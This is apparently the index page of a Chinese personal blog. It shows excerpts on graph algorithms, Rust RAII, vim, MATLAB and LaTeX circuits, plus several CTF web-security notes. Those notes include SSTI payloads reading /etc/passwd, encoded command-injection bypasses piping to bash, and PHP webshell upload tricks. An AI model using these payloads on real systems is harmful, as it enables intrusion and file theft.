0%

醉里挑灯看剑,梦回吹角连营了属于是 带上下界的网络流 我们之前接触的网络流所涉及的问题一般就局限在最大流(最小割)、费用流之类的问题,但是现在有一类对流量有所限制的网络流模型需要考虑。 假如现在对一条边$e:(u\to v)$,需要保证这条边的流量有上下界$l(e) \leq c(e) \leq u(e)$,同时需要保证除了网络流图中除了源点与汇点之外的所有中间节点流量平衡,即流入流量等于其流出流量。 没有源点汇点的上下界可行流 给你一个没有源点和汇点的流量网络,想知道有没有一种可行的分配每条边流量的方式,使得每条边的流量均满足上下界约束并保证中间节点流量平衡。 因为每条边至少都要达到
Read more »

前置知识科普 栈内存和堆内存 常识告诉我们,在计算机系统的内存之中,有一个系统栈和一个负责管理动态分配内存的系统堆,栈向地地址生长,而堆向高地址生长。这两个结构所对应的那部分内存区域分别称为栈内存和堆内存。 运行程序的时候, 生命周期 lifetime RAII RAII全称是Resource Acquisition Is Initialization(资源获取即初始化),这个概念是为了在面向对象的语言中更优雅地管理资源,这里的资源指的是像file、socket、mutex等这些传统以来需要open然后close或者需要先lock然后unlock的类型。 我们用比较简单的一句话概括RA
Read more »

一切的一切都要怪我根本记不得vim-surround的那些命令,以至于需要用的时候都得读readme,太丑陋了,所以找点时间梳理一下下。 vim-surround可以在normal模式下用,也可以在visual模式下用。 normal 根据第一个字母的区别,分为三种: * ys: yield surrounding,带一个参数(下同) * yss: yield the surrounding of the whole line * ys$: yield the surrounding of the interval from current cursor to end of l
Read more »

prologue 现在我跟Windows的一大约束是Microsoft Office和MATLAB,经历一系列折腾终于在linux下安装了MATLAB,跟Windows的羁绊又少了一条 acquisition installation 把iso文件下载下来后,有两种办法可以做: 1. mount这个iso,然后安装 2. 解压出来,然后安装 我使用了后者,不过其实没啥区别。 不过直接./install在我的机子上跑不起来,会报错,如下: 网上找了很久,最后发现可以运行/bin/glnxa64下的install_unix_legacy。 能打开java GUI,但是报了err
Read more »

写前的扯淡 今天下午在做电路作业,画电路把自己画累了,不想拿格子一笔一笔画电路,于是看看能不能用LaTeX来写。 就没听说过由于懒得手写作业而来用TeX画电路的,属实离谱 circuitikz是tikz的超集,是在tikz的基础上添加了专属画电路的语法内容。 import 1 \usepackage{circuitikz} 不需要\usepackage{tikz}。 hello world 摘自overleaf的tutorial%E2%80%94Circuit_Diagrams_Using_Circuitikz) 我们直接拿一段hello world难度的代码来分析下,看看你
Read more »

测试SSTI python3读文件模板 普通版: 1 2 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/this_is_the_fl'+'ag.txt').read()}} {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} 字符串翻转绕过版: 1 {{()._
Read more »

几个常用方法 定义变量然后拼接绕过 1 2 ls a=l;b=s;$a$b 编码绕过 1 2 echo "Y2F0IC9mbGFn" | base64 -d | bash # =>cat /flag in base64 echo "636174202f666c6167" | xxd -r -p | bash # =>cat /flag in hex 上述适用于echo没被过滤的情况 1 2 $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") # =>cat /flag {printf,"\x63\x61\x74\x20\x2f
Read more »

SQL架构 我们可以认为SQL有四层,自顶向下为:数据库,数据库中所含的表,表中的列,列中储存的内容。 一个数据库中有多个表,每一个表由若干行和列组成,列储存的是属性名称,而行储存的是内容。 基础知识 * version()在一些支持的数据库发行版下可以拿到相关版本号,对于搜索历代CVE拿来打很有用处。 * database()获取当前在查询的数据库名称。 * information_schema是一个在版本大于5.0后默认存在的数据库,在我们利用的时候提供了非常大的用处。 * group_concat是一个把多个字符合成一个字符的方法,毕竟泄露的时候一般只能从一个字符的位置泄露出
Read more »

常规思路 常规思路是上传一句话木马上去,然后用中国蚁剑拿个webshell。 直接传php文件传不了,就尝试其他也能执行php代码的格式,如:php3, php4, php5, phtml, pht等。 如果都不行,就尝试上传图片木马,在开头添加一个GIF的magic number骗一下,同时POST过去的时候用bp抓个包,把filename改成php代码后缀。 再不行可以尝试上传.user.ini,具体的做法如下: 不抓包修改后缀名,把图片木马直接上传,这一步应该是正常的。 然后再上传一个.user.ini文件,在里面写: 1 2 GIF89a auto_prepend_fi
Read more »

Common Web Protocols HTTP & HTTPS HTTP与HTTPS就是在浏览器中访问互联网网页所用到的协议。 HTTP就是应用最广泛的网络协议,数据在传输的过程中都是明文,所以运用HTTP协议来传输一些隐私数据就不安全。 HTTPS可以理解为安全版的HTTP协议,核心是加入了SSL(Secure Sockets Layer),通过SSL协议完成对所传输内容的加密。 HTTP是无状态的,通过抓包修改包头通常能够实现身份的伪造,而HTTPS需要身份验证,相对更加安全。 FILE FILE协议是用来访问本地文件的,可以访问文件夹。 FTP FTP协议经常用在局域网中,
Read more »